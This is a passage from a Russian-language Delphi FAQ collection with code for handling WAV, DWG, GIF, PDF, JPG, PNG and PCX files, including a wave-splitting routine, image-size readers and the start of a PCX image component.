    begin //Test if it is a RIFF file, otherwise exit
      Showmessage('This is not a RIFF File');
      exit;
    end;

    if w.ident2 <> wave then
    begin //Test if it is a wave file, otherwise exit
      Showmessage('This is not a valid wave file');
      exit;
    end;

  finally
    f.free;
  end;

  Result := w;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с DWG файлами (AutoCAD)?

Vit: Примечания в коде были на каком-то не то китайском, не то японском языке - удалены!

unit DWGView;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls;

type
  BITMAPINFO256 = record
    bmiHeader: BITMAPINFOHEADER;
    bmiColors: array[0..255] of RGBQUAD;
  end;

type
  TNoPreviewEvent = procedure(Sender: TOBject) of object;
  TFileErrorEvent = procedure(Sender: TOBject; DWGName: string) of object;

  TDWGView = class(TImage)
  private
    FDWGVersion: string;
    FDWGFile: string;
    FNoPreviewEvent: TNoPreviewEvent;
    FOnFileError: TFileErrorEvent;
    FImage: TImage;
    procedure SetDWGFile(const Value: string);
    procedure SetFImage(const Value: TImage);
  protected
    procedure ReadDWG;
    constructor TDWGView;
  public
  published
    property Image: TImage read FImage write SetFImage;
    property DWGFile: string read FDWGFile write SetDWGFile;
    property DWGVersion: string read FDWGVersion;
    property OnNoPreview: TNoPreviewEvent read FNoPreviewEvent write FNoPreviewEvent;
    property OnFileError: TFileErrorEvent read FOnFileError write FOnFileError;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Voice', [TDWGView]);
end;

procedure TDWGView.ReadDWG;
var
  DWGF: TFileStream;
  MemF: TMemoryStream;
  BMPF: TMemoryStream;
  SentinelF: TMemoryStream;
  bif: BITMAPINFO256;
  bfh: BITMAPFILEHEADER;
  PosSentinel: LongInt;
  LenPreview: Integer;
  RasterPreview: ShortInt;
  PosBMP: Integer;
  LenBMP: Integer;
  IndexPreview: Integer;
  TypePreview: Shortint;
begin
  if Assigned(FOnFileError) then
    FOnFileError(Self, FDWGFile);
  DWGF := TFileStream.Create(FDWGFile, fmOpenRead);
  BMPF := TMemoryStream.Create;
  MemF := TMemoryStream.Create;
  SentinelF := TMemoryStream.Create;
  try
    SetLength(FDWGVersion, 6);
    DWGF.ReadBuffer(FDWGVersion[1], 6);
    DWGF.Position := 13;
    DWGF.Read(PosSentinel, 4);
    DWGF.Position := PosSentinel;
    SentinelF.CopyFrom(DWGF, 16);
    DWGF.Read(LenPreview, 4);
    DWGF.Read(RasterPreview, 1);
    for IndexPreview := RasterPreview - 1 downto 0 do
    begin
      MemF.Position := 0;
      MemF.CopyFrom(DWGF, 9);
      MemF.Position := 0;
      MemF.Read(TypePreview, 1);
      case TypePreview of
        1: ;
        2:
          begin
            MemF.Position := 1;
            MemF.Read(PosBMP, 4);
            MemF.Read(LenBMP, 4);
            DWGF.Position := PosBMP;
            DWGF.ReadBuffer(bif, sizeof(bif));

            with bif do
            begin
              bmiColors[0].rgbBlue := 0;
              bmiColors[0].rgbGreen := 0;
              bmiColors[0].rgbRed := 0;

              bmiColors[225].rgbBlue := 255;
              bmiColors[225].rgbGreen := 255;
              bmiColors[225].rgbRed := 255;
            end;

            bfh.bfType := $4D42;
            bfh.bfSize := LenBMP + sizeof(bfh);
            bfh.bfReserved1 := 0;
            bfh.bfReserved2 := 0;
            bfh.bfOffBits := 14 + $28 + 1024;

            BMPF.Position := 0;
            BMPF.Write(bfh, sizeof(bfh));
            BMPF.WriteBuffer(bif, sizeof(bif));
            BMPF.CopyFrom(DWGF, LenBMP - 1064);
            BMPF.Position := 0;
            Picture.Bitmap.LoadFromStream(BMPF);
          end;
        3: ;
      end;

    end;
  finally
    SentinelF.Free;
    MemF.Free;
    DWGF.Free;
    BMPF.Free;
  end;

end;

procedure TDWGView.SetDWGFile(const Value: string);
begin
  FDWGFile := Value;
  ReadDWG;
end;

procedure TDWGView.SetFImage(const Value: TImage);
begin
  FImage := Value;
end;

constructor TDWGView.TDWGView;
begin
  //TODO: Add your source code here
  FDWGFile := '';
  FDWGVersion := '';
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с GIF файлами?

procedure TForm1.Button2Click(Sender: TObject);
begin
  if opendialog1.Execute then
    begin
      ListBox1.Items := opendialog1.Files;
      Edit2.Text := inttostr(ListBox1.Items.Count);
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  i, a: integer;
  bm: TBItmap;
begin
  a := 0;
  bm := TBItmap.Create;
  image1.Picture.LoadFromFile(listbox1.Items[0]);
  bm.Height := image1.Height;
  bm.Width := listbox1.Items.Count * image1.Picture.width;
  for i := 0 to listbox1.Items.Count - 1 do
    begin
      image1.Picture.LoadFromFile(listbox1.Items[i]);
      bm.Canvas.Draw(a, 0, image1.Picture.Graphic);
      a := a + image1.Picture.Height;
    end;
//form1.Canvas.Draw(0,0,bm);
  bm.SaveToFile(Edit1.Text + '.bmp');
  bm.free;
end;

Этот код, делает следующее, загружаем в листбох список Gif файлов, затем это все дело обьединяетсяв один BMP файл,картинка к картинке, кто знает DirectX поймет для чего это надо (спрайты);

procedure TForm1.Button4Click(Sender: TObject);
var
  i, a: integer;
  bm: TBItmap;
begin
  a := 0;
  bm := TBItmap.Create;
  bm.Height := RxGIFAnimator1.Height;
  bm.Width := RxGIFAnimator1.Image.Count * RxGIFAnimator1.width;
  for i := 0 to RxGIFAnimator1.Image.Count - 1 do
    begin
      RxGIFAnimator1.FrameIndex := i;
      bm.Canvas.Draw(a, 0, RxGIFAnimator1.Image.Frames[i].Bitmap);
      a := a + RxGIFAnimator1.Height;
    end;
//form1.Canvas.Draw(0,0,bm);
  bm.SaveToFile(Edit1.Text + '.bmp');
  bm.free;
end;

из файловов GIF (анимированных) вытаскивает каждую картинку в отдельности, или записывает в отдельный BMP по очереди
Для этих программок нужен всеми любимый RX Lib !!!

Автор ответа: МММ
Взято с Vingrad.ru http://forum.vingrad.ru

Как поставить (анимационный) GIF на форму?
Использовать компонент rxGIFAnimator из библиотеки RxLib.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как работать с PDF файлами?

Let's see how to to show an Adobe Acrobat (.PDF) file in a Delphi application. All you need to do is the Acrobat ActiveX control (pdf.ocx and pdf.tlb), which you you can get for free from Adobe.

Here's How:

· Start Delphi and select Component | Import ActiveX Control...
· Look for the 'Acrobat Control for ActiveX (Version x.x)' and simply click on Install.
· Select the Component palette location in which you want to place selected library.
· Maybe the best is to leave the ActiveX option selected.
· Click on Install.
· Select a package where the new component must be installed or create a new package for the new TPdf control. Click on OK.
· Delphi will prompt you whether you want to rebuild the modified/new package or not. Click on Yes.
· After the package is compiled, Delphi will show you a message saying that the new TPdf component was registered and already available as part of the VCL.
· Close the package detail window, allowing Delphi to save the changes to it.
· The component is now available in the ActiveX tab (if you didn't change this setting in step 4)
· Drop the component on a form.
· Select the TPdf component you just dropped on a blank form.
· Using the object inspector, set the src property to the name of an existing PDF file on your system. Now all you have to do is resize the component and read the PDF file from your Delphi application.

Tips:

If you do not have the Acrobat ActiveX control, download it nowhttp://www.adobe.com/prodindex/acrobat/readstep.html! It will be required for tip to work.
Last step (Step 15) can be done in runtime, so you can open and close files programmatically, as well as resize the control.

Closing acrobat reader on formdestroy:

procedure Tfrm_doc_pdf.FormDestroy(Sender: TObject);
var
  xHWND: integer;
begin
  xHWND := findwindow(nil, 'Acrobat Reader');
  sendmessage(xHWND, WM_CLOSE, 0, 0);
end;

Ok, you must have installed the Acrobat Reader program in your machine, if you donґt have it you can download it from Adobeґs site: www.adobe.comhttp://www.adobe.com

After that you have to install the type library for Acrobat (Project -> Import Type Library from Delphiґs menu) select "Acrobat Control for ActiveX (version x)". Where x stands for the current version of the type library. Click the install button to install it into the IDE.

Now, Start a new Application, drop from whatever page of the component palette you have installed a TPDF component in a form, next add an OpenDialog, and finally a Button, in the Onclick event of the Button use:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    pdf1.src := OpenDialog1.FileName;
end;

in PdfLib_TLB Unit you can find the interface of the TPdf class in order to know the behaviour of that class so here it is:

TPdf = class(TOleControl)
private
  FIntf: _DPdf;
  function GetControlInterface: _DPdf;
protected
  procedure CreateControl;
  procedure InitControlData; override;
public
  function LoadFile(const fileName: WideString): WordBool;
  procedure setShowToolbar(On_: WordBool);
  procedure gotoFirstPage;
  procedure gotoLastPage;
  procedure gotoNextPage;
  procedure gotoPreviousPage;
  procedure setCurrentPage(n: Integer);
  procedure goForwardStack;
  procedure goBackwardStack;
  procedure setPageMode(const pageMode: WideString);
  procedure setLayoutMode(const layoutMode: WideString);
  procedure setNamedDest(const namedDest: WideString);
  procedure Print;
  procedure printWithDialog;
  procedure setZoom(percent: Single);
  procedure setZoomScroll(percent: Single; left: Single; top:
    Single);
  procedure setView(const viewMode: WideString);
  procedure setViewScroll(const viewMode: WideString; offset:
    Single);
  procedure setViewRect(left: Single; top: Single; width: Single;
    height: Single);
  procedure printPages(from: Integer; to_: Integer);
  procedure printPagesFit(from: Integer; to_: Integer; shrinkToFit:
    WordBool);
  procedure printAll;
  procedure printAllFit(shrinkToFit: WordBool);
  procedure setShowScrollbars(On_: WordBool);
  procedure AboutBox;
  property ControlInterface: _DPdf read GetControlInterface;
  property DefaultInterface: _DPdf read GetControlInterface;
published
  property TabStop;
  property Align;
  property DragCursor;
  property DragMode;
  property ParentShowHint;
  property PopupMenu;
  property ShowHint;
  property TabOrder;
  property Visible;
  property OnDragDrop;
  property OnDragOver;
  property OnEndDrag;
  property OnEnter;
  property OnExit;
  property OnStartDrag;
  property src: WideString index 1 read GetWideStringProp write
    SetWideStringProp stored False;
end;

finally hereґs an advice:

You canґt be sure your users will have Acrobat Reader installed so please fisrt check that situation before you take any actions with the TPdf component. And second if your PDF file have links for an AVI file for example, they donґt work from Delphi.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как разрезать wav файл?

type
  TWaveHeader = record
    ident1: array[0..3] of Char;       // Must be "RIFF"
    len: DWORD;                        // remaining length after this header
    ident2: array[0..3] of Char;       // Must be "WAVE"
    ident3: array[0..3] of Char;       // Must be "fmt "
    reserv: DWORD;                     // Reserved Size
    wFormatTag: Word;                  // format type
    nChannels: Word;                   // number of channels (i.e. mono, stereo, etc.)
    nSamplesPerSec: DWORD;             //sample rate
    nAvgBytesPerSec: DWORD;            //for buffer estimation
    nBlockAlign: Word;                 //block size of data
    wBitsPerSample: Word;              //number of bits per sample of mono data
    cbSize: Word;                      //the count in bytes of the size of
    ident4: array[0..3] of Char;       //Must be "data"
end;

You can load the file header with this function:

function GetWaveHeader(FileName: TFilename): TWaveHeader;
const
  riff = 'RIFF';
  wave = 'WAVE';
var
  f: TFileStream;
  w: TWaveHeader;
begin
  if not FileExists(Filename) then
    exit;

  try
    f := TFileStream.create(Filename, fmOpenRead);
    f.Read(w, Sizeof(w));

    if w.ident1 <> riff then
    begin
      Showmessage('This is not a RIFF File');
      exit;
    end;

    if w.ident2 <> wave then
    begin
      Showmessage('This is not a valid wave file');
      exit;
    end;

  finally
    f.free;
  end;

  Result := w;
end;

Now we have all for creating the code for spliting the wave file:

function SplitWave(Source, Dest1, Dest2: TFileName; Pos: Integer): Boolean;
var
  f1, f2, f3: TfileStream;
  w: TWaveHeader;
  p: Integer;
begin
  Result:=False

  if not FileExists(Source) then
    exit;

  try
    w := GetWaveHeader(Source);

    p := Pos - Sizeof(TWaveHeader);

    f1 := TFileStream.create(Source, fmOpenRead);
    f2 := TFileStream.create(Dest1, fmCreate);
    f3 := TFileStream.create(Dest2, fmCreate);

    {++++++++++Create file 1 ++++++++++++++++}
    w.len := p;
    f2.Write(w, Sizeof(w));
    f1.position := Sizeof(w);
    f2.CopyFrom(f1, p);
    {++++++++++++++++++++++++++++++++++++++++}

    {+++++++++++Create file 2 +++++++++++++++}
    w.len := f1.size - Pos;
    f3.write(w, Sizeof(w));
    f1.position := Pos;
    f3.CopyFrom(f1, f1.size - pos);
    {++++++++++++++++++++++++++++++++++++++++}
  finally
    f1.free;
    f2.free;
    f3.free;
  end;

  Result:=True;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как узнать размер картинки для JPG, GIF и PNG файлов?

unit ImgSize;

interface

uses Classes;

procedure GetJPGSize(const sFile: string; var wWidth, wHeight: Word);
procedure GetPNGSize(const sFile: string; var wWidth, wHeight: Word);
procedure GetGIFSize(const sGIFFile: string; var wWidth, wHeight: Word);

implementation

uses SysUtils;

function ReadMWord(f: TFileStream): Word;
type
  TMotorolaWord = record
    case Byte of
      0: (Value: Word);
      1: (Byte1, Byte2: Byte);
  end;
var
  MW: TMotorolaWord;
begin
  { It would probably be better to just read these two bytes in normally }
  { and then do a small ASM routine to swap them.  But we aren't talking }
  { about reading entire files, so I doubt the performance gain would be }
  { worth the trouble. }
  f.read(MW.Byte2, SizeOf(Byte));
  f.read(MW.Byte1, SizeOf(Byte));
  Result := MW.Value;
end;

procedure GetJPGSize(const sFile: string; var wWidth, wHeight: Word);
const
  ValidSig: array[0..1] of Byte = ($FF, $D8);
  Parameterless = [$01, $D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7];
var
  Sig: array[0..1] of byte;
  f: TFileStream;
  x: integer;
  Seg: byte;
  Dummy: array[0..15] of byte;
  Len: word;
  ReadLen: LongInt;
begin
  FillChar(Sig, SizeOf(Sig), #0);
  f := TFileStream.Create(sFile, fmOpenRead);
  try
    ReadLen := f.read(Sig[0], SizeOf(Sig));

    for x := Low(Sig) to High(Sig) do
      if Sig[x] <> ValidSig[x] then ReadLen := 0;

    if ReadLen > 0 then
    begin
      ReadLen := f.read(Seg, 1);
      while (Seg = $FF) and (ReadLen > 0) do
      begin
        ReadLen := f.read(Seg, 1);
        if Seg <> $FF then
        begin
          if (Seg = $C0) or (Seg = $C1) then
          begin
            ReadLen := f.read(Dummy[0], 3); { don't need these bytes }
            wHeight := ReadMWord(f);
            wWidth  := ReadMWord(f);
          end
          else
          begin
            if not (Seg in Parameterless) then
            begin
              Len := ReadMWord(f);
              f.Seek(Len - 2, 1);
              f.read(Seg, 1);
            end
            else
              Seg := $FF; { Fake it to keep looping. }
          end;
        end;
      end;
    end;
  finally
    f.Free;
  end;
end;

procedure GetPNGSize(const sFile: string; var wWidth, wHeight: Word);
type
  TPNGSig = array[0..7] of Byte;
const
  ValidSig: TPNGSig = (137,80,78,71,13,10,26,10);
var
  Sig: TPNGSig;
  f: tFileStream;
  x: integer;
begin
  FillChar(Sig, SizeOf(Sig), #0);
  f := TFileStream.Create(sFile, fmOpenRead);
  try
    f.read(Sig[0], SizeOf(Sig));
    for x := Low(Sig) to High(Sig) do
      if Sig[x] <> ValidSig[x] then Exit;
    f.Seek(18, 0);
    wWidth := ReadMWord(f);
    f.Seek(22, 0);
    wHeight := ReadMWord(f);
  finally
    f.Free;
  end;
end;

procedure GetGIFSize(const sGIFFile: string; var wWidth, wHeight: Word);
type
  TGIFHeader = record
    Sig: array[0..5] of char;
    ScreenWidth, ScreenHeight: Word;
    Flags, Background, Aspect: Byte;
  end;

  TGIFImageBlock = record
    Left, Top, Width, Height: Word;
    Flags: Byte;
  end;
var
  f: file;
  Header: TGifHeader;
  ImageBlock: TGifImageBlock;
  nResult: integer;
  x: integer;
  c: char;
  DimensionsFound: boolean;
begin
  wWidth  := 0;
  wHeight := 0;

  if sGifFile = '' then
    Exit;

  {$I-}
  FileMode := 0;   { read-only }
  AssignFile(f, sGifFile);
  reset(f, 1);
  if IOResult <> 0 then
    { Could not open file }
    Exit;

  { Read header and ensure valid file. }
  BlockRead(f, Header, SizeOf(TGifHeader), nResult);
  if (nResult <> SizeOf(TGifHeader)) or (IOResult <> 0) or
    (StrLComp('GIF', Header.Sig, 3) <> 0) then
  begin
    { Image file invalid }
    Close(f);
    Exit;
  end;

  { Skip color map, if there is one }
  if (Header.Flags and $80) > 0 then
  begin
    x := 3 * (1 shl ((Header.Flags and 7) + 1));
    Seek(f, x);
    if IOResult <> 0 then
    begin
      { Color map thrashed }
      Close(f);
      Exit;
    end;
  end;

  DimensionsFound := False;
  FillChar(ImageBlock, SizeOf(TGIFImageBlock), #0);
  { Step through blocks. }
  BlockRead(f, c, 1, nResult);
  while (not EOF(f)) and (not DimensionsFound) do
  begin
    case c of
      ',': { Found image }
        begin
          BlockRead(f, ImageBlock, SizeOf(TGIFImageBlock), nResult);
          if nResult <> SizeOf(TGIFImageBlock) then
          begin
            { Invalid image block encountered }
            Close(f);
            Exit;
          end;
          wWidth := ImageBlock.Width;
          wHeight := ImageBlock.Height;
          DimensionsFound := True;
        end;
      'y': { Skip }
        begin
          { NOP }
        end;
      { nothing else.  just ignore }
    end;
    BlockRead(f, c, 1, nResult);
  end;
  Close(f);
  {$I+}
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Размер Gif файла:

type
  TImageSize = record
    Width: Integer;
    Height: Integer;
  end;

function ReadGIFSize(Stream: TStream): TImageSize;
type
  TGifHeader = record
    Signature: array [0..5] of Char;
    Width, Height: Word;
  end;
var
  Header: TGifHeader;
begin
  FillChar(Header, SizeOf(TGifHeader), #0);
  Result.Width := -1;
  Result.Height := -1;
  with Stream do
  begin
    Seek(0, soFromBeginning);
    ReadBuffer(Header, SizeOf(TGifHeader));
  end;
  if (AnsiUpperCase(Header.Signature) = 'GIF89A') or
    (AnsiUpperCase(Header.Signature) = 'GIF87A') then
  begin
    Result.Width  := Header.Width;
    Result.Height := Header.Height;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
const
  FileName = 'D:\test.gif';
var
  fs: TFileStream;
  gifsize: TImageSize;
begin
  fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
  try
    gifsize := ReadGIFSize(fs);
    ShowMessage(Format('Breite %d Hohe %d', [gifsize.Width, gifsize.Height]));
  finally
    fs.Free;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Компонент для работы с PCX файлами

Fully supports reading and writing of: 1, 8 and 24 bit PCX images.

///////////////////////////////////////////////////////////////////////
//                                                                   //
//                           TPCXImage                               //
//                           =========                               //
//                                                                   //
// Completed: The 10th of August 2001                                //
// Author:    M. de Haan                                             //
// Email:     M.deHaan@inn.nl                                        //
// Tested:    under W95 SP1, NT4 SP6, WIN2000                        //
// Version:   1.0                                                    //
//-------------------------------------------------------------------//
// Update:    The 14th of August 2001 to version 1.1.                //
// Reason:    Added version check.                                   //
//            Added comment info on version.                         //
//            Changed PCX header ID check.                           //
//-------------------------------------------------------------------//
// Update:    The 19th of August 2001 to version 2.0.                //
// Reason:    Warning from Delphi about using abstract methods,      //
//            caused by not implementing ALL TGraphic methods.       //
//            (Thanks goes to R.P. Sterkenburg for his diagnostic.)  //
// Added:     SaveToClipboardFormat, LoadFromClipboardFormat,        //
//            GetEmpty.                                              //
//-------------------------------------------------------------------//
// Update:    The 13th of October 2001 to version 2.1.               //
// Reason:    strange errors, read errors, EExternalException, IDE   //
//            hanging, Delphi hanging, Debugger hanging, windows     //
//            hanging, keyboard locked, and so on.                   //
// Changed:   Assign procedure.                                      //
//-------------------------------------------------------------------//
// Update:    The 5th of April 2002 to version 2.2.                  //
// Changed:   RLE compressor routine.                                //
// Reason:    Incompatibility problems with other programs caused    //
//            by the RLE compressor.                                 //
//            Other programs encode: $C0 as: $C1 $C0.                //
//            ($C0 means: repeat the following byte 0 times          //
//            $C1 means: repeat the following byte 1 time.)          //
// Changed:   File read routine.                                     //
// Reason:    Now detects unsupported PCX data formats.              //
// Added:     'Unsupported data format' in exception handler.        //
// Added:     1 bit PCX support in reading.                          //
// Added:     Procedure Convert1BitPCXDataToImage.                   //
// Renamed:   Procedure ConvertPCXDataToImage to                     //
//            Convert24BitPCXDataToImage.                            //
//-------------------------------------------------------------------//
// Update:    The 14th of April 2002 to version 2.3.                 //
//            Now capable of reading and writing 1 and 24 bit PCX    //
//            images.                                                //
// Added:     1 bit PCX support in writing.                          //
// Added:     Procedure ConvertImageTo1bitPCXData.                   //
// Changed:   Procedure CreatePCXHeader.                             //
// Changed:   Procedure TPCXImage.SaveToFile.                        //
//-------------------------------------------------------------------//
// Update:    The 19th of April 2002 to version 2.4.                 //
//            Now capable of reading and writing: 1, 8 and 24 bit    //
//            PCX images.                                            //
// Added:     8 bit PCX support in reading and writing.              //
// Renamed:   Procedure ConvertImageTo1And8bitPCXData.               //
// Renamed:   Procedure Convert1And8bitPCXDataToImage.               //
// Changed:   Procedure fSetPalette, fGetPalette.                    //
//-------------------------------------------------------------------//
// Update:    The 7th of May 2002 to version 2.5.                    //
// Reason:    The palette of 8-bit PCX images couldn't be read in    //
//            the calling program.                                   //
// Changed:   Procedures Assign, AssignTo, fSetPalette, fGetPalette. //
// Tested:    All formats were tested with the following programs:   //
//            - import in Word 97,                                   //
//            * (Word ignores the palette of 1 bit PCX images!)      //
//            - import and export in MigroGrafX.                     //
//            * (MicroGrafX also ignores the palette of 1 bit PCX    //
//              images.)                                             //
//            No problems were detected.                             //
//                                                                   //
//===================================================================//
//                                                                   //
//         The PCX image file format is copyrighted by:              //
//           ZSoft, PC Paintbrush, PC Paintbrush plus                //
//                        Trademarks: N/A                            //
//                       Royalty fees: NONE                          //
//                                                                   //
//===================================================================//
//                                                                   //
// The author can not be held responsable for using this software    //
// in anyway.                                                        //
//                                                                   //
// The features and restrictions of this component are:              //
// ----------------------------------------------------              //
//                                                                   //
// The reading and writing (import / export) of files / images:      //
//     - PCX version 5 definition, PC Paintbrush 3 and higher,       //
//     - RLE-compressed,                                             //
//     - 1 and 8 bit PCX images WITH palette and                     //
//     - 24 bit PCX images without palette,                          //
//     are supported by this component.                              //
//                                                                   //
// Known issues                                                      //
// ------------                                                      //
//                                                                   //
// 1) GetEmpty is NOT tested.                                        //
//                                                                   //
// 2) SaveToClipboardFormat is NOT tested.                           //
//                                                                   //
// 3) LoadFromClipboardFormat is NOT tested.                         //
//                                                                   //
// 4) 4 bit PCX images (with palette) are NOT (yet) implemented.     //
//    (I have no 4-bit PCX images to test it on...)                  //
//                                                                   //
///////////////////////////////////////////////////////////////////////

unit
  PCXImage;

interface

uses
  Windows,
  SysUtils,
  Classes,
  Graphics;

const
  WIDTH_OUT_OF_RANGE = 'Illegal width entry in PCX file header';
  HEIGHT_OUT_OF_RANGE = 'Illegal height entry in PCX file header';
  FILE_FORMAT_ERROR = 'Invalid file format';
  VERSION_ERROR = 'Only PC Paintbrush (plus) V3.0 and ' +
    'higher are supported';
  FORMAT_ERROR = 'Illegal identification byte in PCX file' +
    ' header';
  PALETTE_ERROR = 'Invalid palette signature found';
  ASSIGN_ERROR = 'Can only Assign a TBitmap or a TPicture';
  ASSIGNTO_ERROR = 'Can only AssignTo a TBitmap';
  PCXIMAGE_EMPTY = 'The PCX image is empty';
  BITMAP_EMPTY = 'The bitmap is empty';
  INPUT_FILE_TOO_LARGE = 'The input file is too large to be read';
  IMAGE_WIDTH_TOO_LARGE = 'Width of PCX image is too large to handle';
  // added 19/08/2001
  CLIPBOARD_LOAD_ERROR = 'Loading from clipboard failed';
  // added 19/08/2001
  CLIPBOARD_SAVE_ERROR = 'Saving to clipboard failed';
  // added 14/10/2001
  PCX_WIDTH_ERROR = 'Unexpected line length in PCX data';
  PCX_HEIGHT_ERROR = 'More PCX data found than expected';
  PCXIMAGE_TOO_LARGE = 'PCX image is too large';
  // added 5/4/2002
  ERROR_UNSUPPORTED = 'Unsupported PCX format';

const
  sPCXImageFile = 'PCX V3.0+ image';

  // added 19/08/2001
var
  CF_PCX: WORD;

  ///////////////////////////////////////////////////////////////////////
  //                                                                   //
  //                            PCXHeader                              //
  //                                                                   //
  ///////////////////////////////////////////////////////////////////////

type
  QWORD = Cardinal; // Seems more logical to me...

type
  fColorEntry = packed record
    ceRed: BYTE;
    ceGreen: BYTE;
    ceBlue: BYTE;
  end; // of packed record fColorEntry

type
  TPCXImageHeader = packed record
    fID: BYTE;
    fVersion: BYTE;
    fCompressed: BYTE;
    fBitsPerPixel: BYTE;
    fWindow: packed record
      wLeft,
        wTop,
        wRight,
        wBottom: WORD;
    end; // of packed record fWindow
    fHorzResolution: WORD;
    fVertResolution: WORD;
    fColorMap: array[0..15] of fColorEntry;
    fReserved: BYTE;
    fPlanes: BYTE;
    fBytesPerLine: WORD;
    fPaletteInfo: WORD;
    fFiller: array[0..57] of BYTE;
  end; // of packed record TPCXImageHeader

  ///////////////////////////////////////////////////////////////////////
  //                                                                   //
  //                             PCXData                               //
  //                                                                   //
  ///////////////////////////////////////////////////////////////////////

type
  TPCXData = object
    fData: array of BYTE;
  end; // of Type TPCXData

  ///////////////////////////////////////////////////////////////////////
  //                                                                   //
  //                             ScanLine                              //
  //                                                                   //
  ///////////////////////////////////////////////////////////////////////

const
  fMaxScanLineLength = $FFF; // Max image width: 4096 pixels

type
  mByteArray = array[0..fMaxScanLineLength] of BYTE;
  pmByteArray = ^mByteArray;

  // The "standard" pByteArray from Delphi allocates 32768 bytes,
  // which is a little bit overdone here, I think...

const
  fMaxImageWidth = $FFF; // Max image width: 4096 pixels

type
  xByteArray = array[0..fMaxImageWidth] of BYTE;

  ///////////////////////////////////////////////////////////////////////
  //                                                                   //
  //                          PCXPalette                               //
  //                                                                   //
  ///////////////////////////////////////////////////////////////////////

type
  TPCXPalette = packed record
    fSignature: BYTE;
    fPalette: array[0..255] of fColorEntry;
  end; // of packed record TPCXPalette

  ///////////////////////////////////////////////////////////////////////
  //                                                                   //
  //                             Classes                               //
  //                                                                   //
  ///////////////////////////////////////////////////////////////////////

type
  TPCXImage = class;
  TPCXFile = class;

  ///////////////////////////////////////////////////////////////////////
  //                                                                   //
  //                           PCXFile                                 //
  //                                                                   //
  //                         File handler                              //
  //                                                                   //
  ///////////////////////////////////////////////////////////////////////

  TPCXFile = class(TPersistent)

  private
    fHeight: Integer;
    fWidth: Integer;
    fPCXHeader: TPCXImageHeader;
    fPCXData: TPCXData;
    fPCXPalette: TPCXPalette;
    fColorDepth: QWORD;
    fPixelFormat: BYTE; // added 5/4/2002
    fCurrentPos: QWORD;
    fHasPalette: Boolean; // added 7/5/2002

  protected
    // Protected declarations

  public
    // Public declarations
    constructor Create;
    destructor Destroy; override;
    procedure LoadFromFile(const Filename: string);
    procedure LoadFromStream(Stream: TStream);
    procedure SaveToFile(const Filename: string);
    procedure SaveToStream(Stream: TStream);

  published
    // Published declarations
    // The publishing is done in the TPCXImage section

  end;

  ///////////////////////////////////////////////////////////////////////
  //                                                                   //
  //                         TPCXImage                                 //
  //                                                                   //
  //                       Image handler                               //
  //                                                                   //
  ///////////////////////////////////////////////////////////////////////

  TPCXImage = class(TGraphic)

  private
    // Private declarations
    fBitmap: TBitmap;
    fPCXFile: TPCXFile;
    fRLine: xByteArray;
    fGLine: xByteArray;
    fBLine: xByteArray;
    fP: pmByteArray;
    fhPAL: HPALETTE;

    procedure fConvert24BitPCXDataToImage;
    procedure fConvert1And8BitPCXDataToImage;
    procedure fConvertImageTo24BitPCXData;
    procedure fConvertImageTo1And8BitPCXData(ImageWidthInBytes:
      QWORD);
    procedure fFillDataLines(const fLine: array of BYTE);
    procedure fCreatePCXHeader(const byBitsPerPixel: BYTE;
      const byPlanes: BYTE; const wBytesPerLine: DWORD);
    procedure fSetPalette(const wNumColors: WORD);
    procedure fGetPalette(const wNumColors: WORD);
    function fGetPixelFormat: TPixelFormat; // Added 07/05/2002
    function fGetBitmap: TBitmap; // Added 07/05/2002

  protected
    // Protected declarations
    procedure Draw(ACanvas: TCanvas; const Rect: TRect); override;
    function GetHeight: Integer; override;
    function GetWidth: Integer; override;
    procedure SetHeight(Value: Integer); override;
    procedure SetWidth(Value: Integer); override;
    function GetEmpty: Boolean; override;

  public
    // Public declarations
    constructor Create; override;
    destructor Destroy; override;
    procedure Assign(Source: TPersistent); override;
    procedure AssignTo(Dest: TPersistent); override;
    procedure LoadFromFile(const Filename: string); override;
    procedure LoadFromStream(Stream: TStream); override;
    procedure SaveToFile(const Filename: string); override;
    procedure SaveToStream(Stream: TStream); override;
    procedure LoadFromClipboardFormat(AFormat: WORD;
      AData: THandle; APalette: HPALETTE); override;
    procedure SaveToClipboardFormat(var AFormat: WORD;
      var AData: THandle; var APalette: HPALETTE); override;

  published
    // Published declarations
    property Height: Integer
      read GetHeight write SetHeight;
    property Width: Integer
      read GetWidth write SetWidth;
    property PixelFormat: TPixelFormat
      read fGetPixelFormat;
    property Bitmap: TBitmap
      read fGetBitmap; // Added 7/5/2002

  end;

implementation

///////////////////////////////////////////////////////////////////////
//                                                                   //
//                           TPCXImage                               //
//                                                                   //
//                         Image handler                             //
//                                                                   //
///////////////////////////////////////////////////////////////////////

constructor TPCXImage.Create;

begin
  inherited Create;
  // Init HPALETTE
  fhPAL := 0;

  // Create a private bitmap to hold the image
  if not Assigned(fBitmap) then
    fBitmap := TBitmap.Create;

  // Create the PCXFile
  if not Assigned(fPCXFile) then
    fPCXFile := TPCXFile.Create;

end;
//---------------------------------------------------------------------

destructor TPCXImage.Destroy;

begin
  // Reversed order of create
  // Free fPCXFile
  fPCXFile.Free;
  // Free private bitmap
  fBitmap.Free;
  // Delete palette
  if fhPAL <> 0 then
    DeleteObject(fhPAL);
  // Distroy all the other things
  inherited Destroy;
end;
//---------------------------------------------------------------------

procedure TPCXImage.SetHeight(Value: Integer);

begin
  if Value >= 0 then
    fBitmap.Height := Value;
end;
//---------------------------------------------------------------------

procedure TPCXImage.SetWidth(Value: Integer);

begin
  if Value >= 0 then
    fBitmap.Width := Value;
end;
//---------------------------------------------------------------------

function TPCXImage.GetHeight: Integer;

begin
  Result := fPCXFile.fHeight;
end;
//---------------------------------------------------------------------

